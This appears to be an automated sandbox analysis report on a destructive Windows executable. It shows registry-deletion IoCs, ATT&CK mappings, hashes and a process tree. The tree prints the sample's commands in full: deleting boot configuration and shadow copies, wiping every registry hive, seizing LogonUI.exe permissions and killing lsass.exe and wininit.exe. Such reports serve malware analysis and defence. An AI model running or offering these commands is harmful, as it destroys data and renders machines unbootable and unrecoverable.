Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\MailBeep\Garden	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\Explorer\BlockedPopup\Delta	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\sapisvr\PanelSound\Calligraphy	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\ChangeTheme\Heritage	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\WindowsLogoff	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\Control Panel\PowerCfg\GlobalPowerPolicy	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\EventLabels\.Default	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\SystemHand\Delta	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\WindowsLogon\Afternoon	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Internet Explorer\International\Scripts\35	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\ChangeTheme\Cityscape	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\sapisvr\HubOffSound\Quirky	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\sapisvr\HubOffSound\Sonata	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\sapisvr\MisrecoSound\Heritage	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Internet Explorer\International\Scripts\18	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\EventLabels\CCSelect	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\DeviceDisconnect\Raga	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\Explorer\Navigating\Cityscape	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\SystemQuestion\.Current	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\Open\.Current	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\sapisvr\HubSleepSound\Calligraphy	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Control Panel\Accessibility\MouseKeys	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\sapisvr\HubSleepSound\Quirky	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\.Default\Quirky	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\sapisvr\MisrecoSound\Calligraphy	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\SystemHand	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\WindowsLogoff\Landscape	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\Explorer\FeedDiscovered\Savanna	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\SystemAsterisk\Quirky	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\FaxBeep\Festival	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\Control Panel\PowerCfg\PowerPolicies	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\Software\Microsoft\CTF\TIP	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\sapisvr\HubSleepSound\Garden	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Internet Explorer\International\Scripts\35	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Telephony\HandoffPriorities\MediaModes	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\EventLabels\MenuPopup	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\CriticalBatteryAlarm\Raga	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\AppEvents\Schemes\Apps\.Default\WindowsLogoff\Raga	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\DeviceFail\Landscape	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\.Default\SystemExit\Heritage	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-20\AppEvents\Schemes\Apps\sapisvr\PanelSound	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Control Panel\Mouse	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Wisp\Pen	reg.exe

Modifies registry class 64 IoCs

Processes:

reg.exereg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\LISTNET.Listnet\CLSID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{CDF1C8AA-2D25-43C7-8AFE-01F73A3C66DA}\Programmable	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D91B8947-F8CA-4508-A58A-2D8A49BF6111}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Access.ACCDEFile.14	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CAFEEFAC-0015-0000-0008-ABCDEFFEDCBC}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{95CE8411-7027-11D1-B879-006008059382}\NumMethods	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\themefile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{B9164592-D558-4EE7-8B41-F1C9F66D683A}\1.0\FLAGS	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00020867-0000-0000-C000-000000000046}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0F2D35B3-DB34-4966-BEA6-59C7CD203862}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.mpv2\ShellEx	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Sheet.8\protocol\StdFileEditing	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Record\{D73D319D-BB39-3BFC-BC01-509855F4C15F}\14.0.0.0	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{CAFEEFAC-0016-0000-0034-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\ScriptoSys.Scripto\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{5AA916C7-BF12-11D3-80A0-00C04FA1100A}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{0006F067-0000-0000-C000-000000000046}\InprocServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{91493473-5A91-11CF-8700-00AA0060263B}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{CAFEEFAC-0016-0000-0065-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\BCSRuntime.AssociationEntityInstanceReferencesDictionary\CurVer	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CD000010-8B95-11D1-82DB-00C04FB1625D}\VersionIndependentProgID	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\MIME\Database\Charset\unicode-2-0-utf-8	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00024421-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{4D943E71-F16F-11D5-94D8-0001025FAAEF}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E7F93846-E127-4BF6-8E2C-BDEF5CA83343}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{FF22A11C-687A-4625-8913-978B6B8AA8FB}	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{CAFEEFAC-0017-0000-0070-ABCDEFFEDCBB}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\.pch\PersistentHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{86D52E11-94A8-11D0-82AF-00C04FD5AE38}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D7EB4F79-7A45-472A-99AF-F8381E73190B}\ProxyStubClsid	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E49968F6-5B71-4985-A29D-4A021B8D6409}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\Microsoft.VS.VC_RuntimeAdditional_amd64,v11	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\VLC.dts\shell\Open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{084D78A8-B084-4E14-A629-A2C419B0E3D9}\NumMethods	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F8C3E22D-DB97-4090-9729-76D84E10F7E8}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.docm	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{024C21B0-25AB-11D2-9C5A-0060083E8189}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{3B06E990-E47C-11CD-8701-00AA003F0F07}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{DE7CCB92-94AC-4841-B354-5827B68217E7}\NumMethods	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Components\C18DD6C0F9032D11A9A90006794C4E25	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{78D28ADA-89A5-4180-B6C1-6DDD2AE146C2}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B34E469B-BD59-11D2-9238-00A02448799A}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{B5E9ED86-F7B7-4B8B-B603-01446C759C07}\NumMethods	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00021246-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0002449B-0000-0000-C000-000000000046}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{000630E4-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0946ADFE-058F-4778-B9D7-163F061A6603}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CAFEEFAC-0015-0000-0076-ABCDEFFEDCBC}\InprocServer32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CAFEEFAC-0017-0000-0076-ABCDEFFEDCBA}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\Open\Command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{12F564D6-BC5F-410E-ACD1-7D3D47F06FFA}\ProxyStubClsid	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Record\{B7445770-56D9-382B-9BE4-8259BCFF23B2}\14.0.0.0	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\VLC.mp4v	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0006309A-0000-0000-C000-000000000046}\TypeLib	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{147AC264-7979-11D2-AA67-00104B9B174A}\TypeLib	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Excel.Sheet.12\shell\Printto\ddeexec	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\IE.HTTPS\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{D4C5A1A7-E152-4A59-B3F6-0190A5A6D385}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\OpenWithList\PhotoViewer.dll	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{1F8E79BA-9268-4889-ADF3-6D2AABB3C32C}\1.0\FLAGS	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{0002092B-0000-0000-C000-000000000046}\ProxyStubClsid32	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{00024410-0000-0000-C000-000000000046}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{5CB14727-1658-4A50-88D3-A0423D66196D}\ProxyStubClsid	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\AFormAut.App\CLSID	reg.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exe

pid process

1708 reg.exe
1704 reg.exe

pid	process
1708	reg.exe
1704	reg.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

vssvc.exetakeown.exetaskkill.exe

description	pid	process
Token: SeBackupPrivilege	1732	vssvc.exe
Token: SeRestorePrivilege	1732	vssvc.exe
Token: SeAuditPrivilege	1732	vssvc.exe
Token: SeTakeOwnershipPrivilege	1428	takeown.exe
Token: SeDebugPrivilege	1668	taskkill.exe

Suspicious use of WriteProcessMemory 34 IoCs

Processes:

1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.execmd.exe

description	pid	process	target process
PID 788 wrote to memory of 1288	788	1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe	cmd.exe
PID 788 wrote to memory of 1288	788	1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe	cmd.exe
PID 788 wrote to memory of 1288	788	1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe	cmd.exe
PID 788 wrote to memory of 1288	788	1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe	cmd.exe
PID 1288 wrote to memory of 1960	1288	cmd.exe	bcdedit.exe
PID 1288 wrote to memory of 1960	1288	cmd.exe	bcdedit.exe
PID 1288 wrote to memory of 1960	1288	cmd.exe	bcdedit.exe
PID 1288 wrote to memory of 1936	1288	cmd.exe	vssadmin.exe
PID 1288 wrote to memory of 1936	1288	cmd.exe	vssadmin.exe
PID 1288 wrote to memory of 1936	1288	cmd.exe	vssadmin.exe
PID 1288 wrote to memory of 1428	1288	cmd.exe	takeown.exe
PID 1288 wrote to memory of 1428	1288	cmd.exe	takeown.exe
PID 1288 wrote to memory of 1428	1288	cmd.exe	takeown.exe
PID 1288 wrote to memory of 1628	1288	cmd.exe	icacls.exe
PID 1288 wrote to memory of 1628	1288	cmd.exe	icacls.exe
PID 1288 wrote to memory of 1628	1288	cmd.exe	icacls.exe
PID 1288 wrote to memory of 1708	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 1708	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 1708	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 1016	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 1016	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 1016	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 928	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 928	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 928	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 428	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 428	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 428	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 1668	1288	cmd.exe	taskkill.exe
PID 1288 wrote to memory of 1668	1288	cmd.exe	taskkill.exe
PID 1288 wrote to memory of 1668	1288	cmd.exe	taskkill.exe
PID 1288 wrote to memory of 1704	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 1704	1288	cmd.exe	reg.exe
PID 1288 wrote to memory of 1704	1288	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe
"C:\Users\Admin\AppData\Local\Temp\1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:788

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\BB4.tmp\BB5.tmp\BB6.bat C:\Users\Admin\AppData\Local\Temp\1383b80440ad105c0899143a80472ca844cc9c23de6d4e59777eb7f464747813.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:1288

C:\Windows\System32\bcdedit.exe
bcdedit /delete {current}
3⤵
- Modifies boot configuration data using bcdedit
PID:1960

C:\Windows\System32\vssadmin.exe
vssadmin delete shadows /for=c: /all /quiet
3⤵
- Interacts with shadow copies
PID:1936

C:\Windows\System32\takeown.exe
takeown /f LogonUI.exe
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1428

C:\Windows\System32\icacls.exe
icacls LogonUI.exe /grant Admin:f
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1628

C:\Windows\System32\reg.exe
reg delete HKCU /f
3⤵
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies registry class
- Modifies registry key
PID:1708

C:\Windows\System32\reg.exe
reg delete HKU /f
3⤵
- Adds Run key to start application
- Modifies data under HKEY_USERS
PID:1016

C:\Windows\System32\reg.exe
reg delete HKCC /f
3⤵
PID:928

C:\Windows\System32\reg.exe
reg delete HKCR /f
3⤵
- Modifies system executable filetype association
- Modifies registry class
PID:428

C:\Windows\System32\taskkill.exe
taskkill /im lsass.exe /f /t
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1668

C:\Windows\System32\reg.exe
reg delete HKLM /f
3⤵
- Adds Run key to start application
- Checks processor information in registry
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry key
PID:1704

C:\Windows\System32\taskkill.exe
taskkill /im wininit.exe /f /t
3⤵
- Kills process with taskkill
PID:1328

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1732

C:\Windows\system32\wlrmdr.exe
-s -1 -f 2 -t You are about to be logged off -m Windows has encountered a critical problem and will restart automatically in one minute. Please save your work now. -a 3
1⤵
PID:1604

C:\Windows\system32\CompMgmtLauncher.exe
"C:\Windows\system32\CompMgmtLauncher.exe"
1⤵
PID:236

C:\Windows\system32\CompMgmtLauncher.exe
"C:\Windows\system32\CompMgmtLauncher.exe"
1⤵
PID:1720

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

4

T1060

Change Default File Association

1

T1042

Browser Extensions

1

T1176

Privilege Escalation

Defense Evasion

Modify Registry

7

T1112

File Deletion

2

T1107

File Permissions Modification

1

T1222

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

2

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\BB4.tmp\BB5.tmp\BB6.bat
MD5
38dc7703a0a8fddc5870776a3b4e662c

SHA1
4fd989609b186842874ce1dba6b32ab71bc77881

SHA256
5636818caa00d72d10df36a8b37cd355d74855c5cf891aeaf468c19d1f08176c

SHA512
dd89c0adcaa1b5122eddda514d9cebe3cc100f2aed13192ba1e58ffb1848bed5c46c6b9d2762e3d1a0da01d5f099cada05a99167f675768f6573b8ef983f5291

Download Submit
memory/428-69-0x0000000000000000-mapping.dmp

Download
memory/788-59-0x0000000075551000-0x0000000075553000-memory.dmp

Filesize
8KB

Download
memory/928-68-0x0000000000000000-mapping.dmp

Download
memory/1016-67-0x0000000000000000-mapping.dmp

Download
memory/1288-60-0x0000000000000000-mapping.dmp

Download
memory/1428-64-0x0000000000000000-mapping.dmp

Download
memory/1604-73-0x00000000003D0000-0x00000000003D1000-memory.dmp

Filesize
4KB

Download
memory/1604-72-0x000007FEFBF11000-0x000007FEFBF13000-memory.dmp

Filesize
8KB

Download
memory/1628-65-0x0000000000000000-mapping.dmp

Download
memory/1668-70-0x0000000000000000-mapping.dmp

Download
memory/1704-71-0x0000000000000000-mapping.dmp

Download
memory/1708-66-0x0000000000000000-mapping.dmp

Download
memory/1936-63-0x0000000000000000-mapping.dmp

Download
memory/1960-62-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads